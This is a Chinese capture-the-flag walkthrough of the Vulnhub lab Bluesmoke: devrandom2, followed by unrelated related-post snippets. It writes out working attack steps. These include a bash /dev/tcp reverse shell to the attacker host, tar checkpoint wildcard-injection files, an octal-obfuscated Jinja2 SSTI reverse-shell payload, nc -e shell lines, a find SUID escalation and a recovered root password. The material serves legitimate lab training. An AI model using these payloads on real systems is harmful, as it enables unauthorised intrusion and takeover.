准备:

攻击机:虚拟机kali、本机win10。

靶机:Bluesmoke: devrandom2,下载地址:https://download.vulnhub.com/bluesmoke/Bluesmoke.ova,下载后直接vbox打开即可。

知识点:ssti注入漏洞、shell反弹、ffuf扫描、tar通配符漏洞、私钥破解与登录、find提权、解密(base32、base64、hexdump、hex、bin)

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.1.0/24,发现靶机地址:192.168.1.14。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.14,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.1.14 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了upload.php、/uploads文件夹等信息。顺带进行下二级目录扫描,在/uploads文件夹下只发现了index.php。

3.web服务

访问了下:http://192.168.1.14/index.php、http://192.168.1.14/uploads/index.php和http://192.168.1.14/upload.php,并检查下其源码信息,但是均未发现有用得信息 。

进行了下ffuf扫描,去探测请求参数,但是也未发现存在可以利用得参数。

二:分析与获取shell

1.tar通配符漏洞

访问web服务时其页面显示会对我们提交的tar和zip文件进行检查并提交到备份系统:Please upload your TAR / ZIP File. We will check the files and add it to our backup system。因此猜测靶机会将我们上传的tar文件进行解压然后检查我们的文件,检查完之后在压缩成tar后上传到备份系统。关于tar命令存在一个和通配符有关的漏洞,之前利用过tar通配符进行提权。该漏洞就是当使用通配符压缩文件时,会将*替换成目录下的文件名称,因此我们可以在shell反弹脚本的同目录下添加以下两个文件:--checkpoint=1、--checkpoint-action=exec=sh upfine.shell,这样当我们执行压缩的时候就可以执行我们的脚本信息。下面是在kali中执行的压缩,可以看到反弹shell脚本可以正常执行,因此我么将该文件:upfine.tar上传至靶机。

#upfine.shell内容
bash -c "bash -i >&/dev/tcp/192.168.1.12/6688 0>&1"
#文件建立
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh upfine.shell"

2.获取shell

但是上传靶机之后shell一直未反弹成功,后来压缩语句不采用通配符压缩就可以正常反弹shell权限了,压缩命令:tar cvf upfine.tar ./upfine.shell ./'--checkpoint=1' ./'--checkpoint-action=exec=sh upfine.shell'。

获得shell权限后在/home/backupper目录下发现flag.txt,读取该文件成功获得flag值,flag经两次base64解密后得到:nc -e /bin/bash www.theworld.com 17722,暂时不知道有什么用,先记下来。

三:提权至jaap

1.私钥破解

首先查找下具有root权限的文件信息,命令:find / -perm -4000 -type f 2>/dev/null,但是未发现任何有用的信息。

然后又上了linpeas.sh、pspty64进行信息收集,但是仍是未发下可以利用的信息。后面查看了下/home/backupper/.ssh目录下的私钥:id_rsa,利用http服务将该文件下载下来进行爆破,成功获得密码信息:samantha1。注意开启web服务时使用:python -m SimpleHTTPServer 8000。

使用获得的密码信息尝试切换jaap账户和remnie账户,但是均切换失败。并且使用ssh协议登录backupper账户也是失败(右侧);

破解密码后想着使用sudo -l查看下可以使用的命令,但是显示sudo不存在。然后看着破解的这个密码比较简单,想着破解下另外账户的密码,但是破解失败,未获得密码信息。

2.生成公钥私钥进行登录

后来就在本地生成公钥和私钥,命令:ssh-keygen -f upfine,输入的密码:samantha1,成功获得公钥和私钥。

然后开启http服务,将公钥authorized_keys上传到靶机,这样就可以在本地使用私钥直接进行连接,不在需要通过文件上传来进行shell的获取。

3.提权至jaap

使用私钥登录到backupper账户的shell后,发现当我们尝试ssh连接jaap账户时:ssh jaap@localhost,只需要我们输入backupper账户的私钥密码:samantha1,当我们输入之后成功切换到jaap账户权限。

获得jaap账户权限后在/home/jaap目录下发现flag.txt,读取该文件获得flag值,对flag值进行两次base64解密得:nc -e /bin/bash www.theworld.com 777。

四:提权至remnie

1.remnie相关信息查找

获得jaap权限后,在/home/jaap/bin目录下发现一个具有特殊权限的文件:find,那就直接查找下find得提权方式,提权命令:./find . -exec /bin/sh -p \; -quit,直接输入执行。执行完之后查看其id信息发现返回得信息中多了一个egid=1002(remnie)。

先利用find查找下具有remnie账户权限的文件信息,命令:./find / -user remnie -type f 2>/dev/null,发现以下三个目录中存在和remnie账户相关的信息:/var/mail、/home/remnie、/opt/remnie。

然后依次去目录下查找下是否存在可以利用得信息,在/home/remnie目录下发现提示信息,告诉我们存在一个本地服务在等着我们,但是未告诉我们端口。

然后在/opt/remnie/scripts目录下发现start.sh文件是可读的,查看该文件信息并进行分析,发现该文件会读取/tmp/start文件的值并判断是否为1,然后查找server.py进程并决定是否开启该进程。

那我们就需要建立该文件并使其值为1,这里可以自己创建,也可以直接通过靶机中留下的/home/jaap/bin/startserver.sh文件来进行创建,这里就直接自己 创建了,命令:echo "1" > start,然后查看下该进程是否开启,命令:ps -ef | grep server,发现该进程已开启。

2.发现本地服务

使用命令:netstat -tulpn查看下本地开启的服务,发现:127.0.0.1:8787。

这里只允许本地访问,那我们将靶机的8787端口的流量转到本地kali的8787端口中,命令:ssh -L 8787:127.0.0.1:8787 backupper@192.168.1.14 -i upfine,8787服务可以成功访问。

3.ffuf扫描

继续对该web服务进行目录扫描、ffuf扫描,在ffuf扫描时发现参数名:name。

但是输入参数:name=/etc/passwd并未读取到/etc/passwd文件,而是直接返回了输入的信息,考虑到刚在在靶机中开启的是python服务,优先测试下ssti注入,当我们输入{{3*3}}时,返回参数9,确定这里存在ssti注入。

4.ssti实现shell反弹

找以下ssti漏洞可以利用的模板,先进行测试是否可以执行,然后将执行的命令替换为shell反弹语句并进行shell的反弹,成功获得remnie账户的shell。

#shell反弹语句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47").read().zfill(417)}}{%endif%}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen(\"\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\61\56\61\62\57\70\70\71\71\40\60\76\46\61\47\").read()") }}{% endif %}{% endfor %} #其中的编码数据是下面的语句,主要是&符号的问题,不编码无法执行
bash -c 'bash -i >& /dev/tcp/192.168.1.12/8899 0>&1'

获得remnie账户权限的shell后在/opt/remnie目录下发现flag.txt,读取该文件成功获得flag值。

五:提权至root

获得remnie账户权限后,去查看下之前发现的server.py和server.conf文件,server.py文件未发现可以进行利用的信息,访问server.conf时返回一组hash数据,使用:https://gchq.github.io/CyberChef这个网站依次进行hashdump->binary->hex->base32->base64,最终成功获得一组账户和密码信息:root/-!F8h2LMr<\[n]`N]Kq。

直接利用获得的root信息:root/-!F8h2LMr<\[n]`N]Kq在remnie账户的shell中切换至root账户,切换root账户后在/root目录下发现flag.txt,读取该文件成功获得flag值。

vulnhub靶场之BLUESMOKE: DEVRANDOM2|bluesmoke的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. Appium自动化测试之键盘操作pressKeyCode()方法(Android特有)

    电话键 KEYCODE_CALL 拨号键 5 KEYCODE_ENDCALL 挂机键 6 KEYCODE_HOME 按键Home 3 KEYCODE_MENU 菜单键 82 KEYCODE_BACK ...

  2. CCIE DC Multicast Part 1.

    Hi Guys! As we all wait anxiously for the training vendors to release Rack Rentals (Come on guys! At ...

  3. Java根据经纬度计算两点之间的距离

    public final class DistanceUtils { /** * 地球半径,单位 km */ private static final double EARTH_RADIUS = 63 ...

  4. MVC+EF API 跨域

    MVC+EF API --2 一. MVC+EF 不管是MvcHAIS Ef 都有文件夹Controller 二.Link查询 多表联查 匿名类型 三.Postman使用 四.mvc访问使用API 跨 ...

  5. 配置SASS过程

    1.首先在电脑上安装Node.js 2.其次在命令行配置npm,命令:npm init.运行后会创建一个package.json文件 3.然后输入命令配置npm中可以使用SASS的包,命令:npm i ...

  6. leetcode 875. 爱吃香蕉的珂珂

    珂珂喜欢吃香蕉.这里有 n 堆香蕉,第 i 堆中有 piles[i] 根香蕉.警卫已经离开了,将在 h 小时后回来. 珂珂可以决定她吃香蕉的速度 k (单位:根/小时).每个小时,她将会选择一堆香蕉, ...

  7. mysql之字段约束-第五篇

    数据库的完整性约束是为了在数据库应用中保证数据的一致性和正确性.所以在创建数据表时定义其字段的约束是非常有必要的. 主键约束 主键(primary key)是一个列或者列的组合,其值能唯一地标识表中的 ...

  8. Windows下Redis安装及自启动

    Redis下载 Redis 官方网站没有提供 Windows 版的安装包,可以通过 GitHub 来下载 Windows 版 Redis 安装包,下载地址:点击前往. 打开上述的下载地址链接,Redi ...

  9. openSUSE Tumbleweed 安装原生微信

    优麒麟网站上有![微信原生版](https://www.ubuntukylin.com/applications/106-cn.html)提供下载. 之前用 Ubuntu的时候,直接安装就可以使用. ...

  10. uniapp项目 hbuilder工程转cli工程 hbuilder工程不可以用命令行打包

    hbuilder工程不可以用命令行打包,只能用自带的发行手动打包 cli工程可以用命令行打包,可以配置多环境 1.安装空的cli项目 vue create -p dcloudio/uni-preset ...